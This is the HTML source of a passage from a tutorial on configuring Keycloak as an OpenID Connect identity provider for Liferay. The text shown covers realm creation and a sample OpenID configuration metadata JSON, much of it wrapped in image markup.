        &lt;source srcSet=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/f93b5/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 300w,/static/a2bea28e80b71fdab3ed6582ae6ab936/b4294/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 600w,/static/a2bea28e80b71fdab3ed6582ae6ab936/e5166/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 1200w,/static/a2bea28e80b71fdab3ed6582ae6ab936/d9c39/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 1800w,/static/a2bea28e80b71fdab3ed6582ae6ab936/df51d/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 2400w,/static/a2bea28e80b71fdab3ed6582ae6ab936/93445/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg 3246w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - Liferay as SSO client (or better Service Provider) via OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/e5166/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg&quot; title=&quot;Figure 1 - Liferay as SSO client (or better Service Provider) via OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - Liferay as SSO client (or better Service Provider) via OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The Fully Qualified Domain Name (FQDN) reported on the components of the scenario
integration are by way of example.&lt;/p&gt;&lt;p&gt;It is important to remember that for the configuration to be successful it is essential
that the systems involved can communicate with each other through the protocols
also required (https and ldaps) in SSL/TLS environments must be correctly
set the &lt;a href=&quot;https://www.dontesta.it/en/2011/05/02/importo-certificati-ssl-sul-java-keystore-jks/&quot;&gt;TrustStore&lt;/a&gt;.
This clarification serves to avoid incurring annoying
errors (e.g. validation of the X509 certification chain).&lt;/p&gt;&lt;h2 id=&quot;2---keycloak-configuration&quot;&gt;2 - Keycloak configuration&lt;/h2&gt;&lt;p&gt;The first activity to be performed is to configure the Keycloak instance.
This operation requires several steps which are indicated below.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creation of a specific Realm&lt;/li&gt;&lt;li&gt;Creating an OpenID Connect client&lt;/li&gt;&lt;li&gt;Creating an OpenID Connect Identity Provider (or IdP)&lt;/li&gt;&lt;li&gt;Demo user creation (optional if you have configured an LDAP service)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;We therefore assume that the Keycloak instance is operational and access the
administration using the administration credentials. Because of this
scenario we assume that the Keycloak instance is available at the address
&lt;a href=&quot;https://iam.smc.lab.local/&quot;&gt;https://iam.smc.lab.local/&lt;/a&gt; (see figure below).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ab35c325eaa84def8331d5241d2bef26/fb4e7/accesso-console-amministrazione-keycloak.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;222\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20222\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20111v111h401V0H0v111m0%201a1599%201599%200%20002%2060l3%201%207%202%205%201%2013%201%2013%201h9l12-1%205-1%201%209%201%2010h54l4%203%204%203%201%201c0%202%201%202%202%202l18-2%2016-2%207%203%2029%209%2015-6%2017-5%206-3%205-3a808%20808%200%200028%204c-1-2-1-2%206-2%205%201%207%200%208-1l20-1h19v-7l1-5c0%202%201%202%205%202l9%201c2%200%203%200%204-3%201-2%202-3%204-2%203%200%206-1%2014-5l10-6%205%202c6%202%2015%203%2015%201l1%203%201-74V23H1V12L0%20112m168%20109\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ab35c325eaa84def8331d5241d2bef26/c85cb/accesso-console-amministrazione-keycloak.webp 300w,/static/ab35c325eaa84def8331d5241d2bef26/e88ff/accesso-console-amministrazione-keycloak.webp 600w,/static/ab35c325eaa84def8331d5241d2bef26/92f8c/accesso-console-amministrazione-keycloak.webp 1200w,/static/ab35c325eaa84def8331d5241d2bef26/ba879/accesso-console-amministrazione-keycloak.webp 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ab35c325eaa84def8331d5241d2bef26/5a46d/accesso-console-amministrazione-keycloak.png 300w,/static/ab35c325eaa84def8331d5241d2bef26/0a47e/accesso-console-amministrazione-keycloak.png 600w,/static/ab35c325eaa84def8331d5241d2bef26/c1b63/accesso-console-amministrazione-keycloak.png 1200w,/static/ab35c325eaa84def8331d5241d2bef26/fb4e7/accesso-console-amministrazione-keycloak.png 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - Keycloak administration console&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ab35c325eaa84def8331d5241d2bef26/c1b63/accesso-console-amministrazione-keycloak.png&quot; title=&quot;Figure 2 - Keycloak administration console&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - Keycloak administration console&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;For any doubt and/or further information regarding the installation and configuration of
Keycloak, refer to the official documentation available at
&lt;a href=&quot;https://www.keycloak.org/archive/documentation-15.0.html&quot;&gt;https://www.keycloak.org/archive/documentation-15.0.html&lt;/a&gt;&lt;/p&gt;&lt;h3 id=&quot;21---creation-of-the-realm&quot;&gt;2.1 - Creation of the Realm&lt;/h3&gt;&lt;p&gt;A &lt;strong&gt;Realm&lt;/strong&gt; in Keycloak is the equivalent of a tenant (group of users who
share common access to a multi-tenant software system). It allows to
create isolated groups of applications and users. By default there is
a single realm in Keycloak called &lt;strong&gt;master&lt;/strong&gt;, this is dedicated to management
Keycloak and should not be used for the rest of the applications.&lt;/p&gt;&lt;p&gt;The first step requires the creation of a new Realm that we could for example
call &lt;em&gt;smc-lab-local-relam&lt;/em&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea938c8e986bc2197794bd15d39ca929/78363/creazione-nuovo-realm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;123\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20123\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2062v61h66V43h333v40l1%2040%201-62V0H0v62m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ea938c8e986bc2197794bd15d39ca929/c85cb/creazione-nuovo-realm.webp 300w,/static/ea938c8e986bc2197794bd15d39ca929/e88ff/creazione-nuovo-realm.webp 600w,/static/ea938c8e986bc2197794bd15d39ca929/92f8c/creazione-nuovo-realm.webp 1200w,/static/ea938c8e986bc2197794bd15d39ca929/e8009/creazione-nuovo-realm.webp 1522w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ea938c8e986bc2197794bd15d39ca929/5a46d/creazione-nuovo-realm.png 300w,/static/ea938c8e986bc2197794bd15d39ca929/0a47e/creazione-nuovo-realm.png 600w,/static/ea938c8e986bc2197794bd15d39ca929/c1b63/creazione-nuovo-realm.png 1200w,/static/ea938c8e986bc2197794bd15d39ca929/78363/creazione-nuovo-realm.png 1522w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Creation of the new Realm on Keycloak&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ea938c8e986bc2197794bd15d39ca929/c1b63/creazione-nuovo-realm.png&quot; title=&quot;Figure 3 - Creation of the new Realm on Keycloak&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Creation of the new Realm on Keycloak&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b1284da36bd872b82509885ae76aaead/7e881/visualizzazione-dettaglio-nuovo-realm.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;222\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20222\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20111v111h400l-167-1H67V43h332v89a1514%201514%200%20002-21V0H0v111m0%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b1284da36bd872b82509885ae76aaead/c85cb/visualizzazione-dettaglio-nuovo-realm.webp 300w,/static/b1284da36bd872b82509885ae76aaead/e88ff/visualizzazione-dettaglio-nuovo-realm.webp 600w,/static/b1284da36bd872b82509885ae76aaead/92f8c/visualizzazione-dettaglio-nuovo-realm.webp 1200w,/static/b1284da36bd872b82509885ae76aaead/74c35/visualizzazione-dettaglio-nuovo-realm.webp 1521w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b1284da36bd872b82509885ae76aaead/5a46d/visualizzazione-dettaglio-nuovo-realm.png 300w,/static/b1284da36bd872b82509885ae76aaead/0a47e/visualizzazione-dettaglio-nuovo-realm.png 600w,/static/b1284da36bd872b82509885ae76aaead/c1b63/visualizzazione-dettaglio-nuovo-realm.png 1200w,/static/b1284da36bd872b82509885ae76aaead/7e881/visualizzazione-dettaglio-nuovo-realm.png 1521w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - Detail mask of the newly created realm&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b1284da36bd872b82509885ae76aaead/c1b63/visualizzazione-dettaglio-nuovo-realm.png&quot; title=&quot;Figure 4 - Detail mask of the newly created realm&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - Detail mask of the newly created realm&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The previous figure highlights the OpenID Connect configuration endpoint.
This endpoint contains all &lt;strong&gt;configuration metadata&lt;/strong&gt; pertaining to the
protocol, such as: Token URL, Authorization URL, Issuer, etc.
This information will be useful for subsequent configuration activities,
on both Keycloak and Liferay.&lt;/p&gt;&lt;p&gt;The configuration URL in this case is: &lt;a href=&quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/.well-known/openid-configuration&quot;&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/.well-known/openid-configuration&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This is the URL that Liferay will use to get the metadata of
configuration, for this reason it is important that this address be
reachable and that the SSL/TLS certificate configuration is correct.&lt;/p&gt;&lt;p&gt;Pointing your browser at the configuration metadata address,
you will get a JSON document like the one shown below.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;json&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;issuer&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;authorization_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;token_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;introspection_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token/introspect&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;userinfo_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;end_session_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;jwks_uri&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;check_session_iframe&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/login-status-iframe.html&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;grant_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;authorization_code&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;implicit&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;refresh_token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_credentials&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;urn:ietf:params:oauth:grant-type:device_code&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;urn:openid:params:grant-type:ciba&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;response_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;id_token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;id_token token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code id_token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;code id_token token&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;subject_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;public&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;pairwise&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;id_token_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;id_token_encryption_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RSA-OAEP&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RSA-OAEP-256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RSA1_5&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;id_token_encryption_enc_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A256GCM&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A192GCM&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A128GCM&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A128CBC-HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A192CBC-HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;A256CBC-HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;userinfo_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span 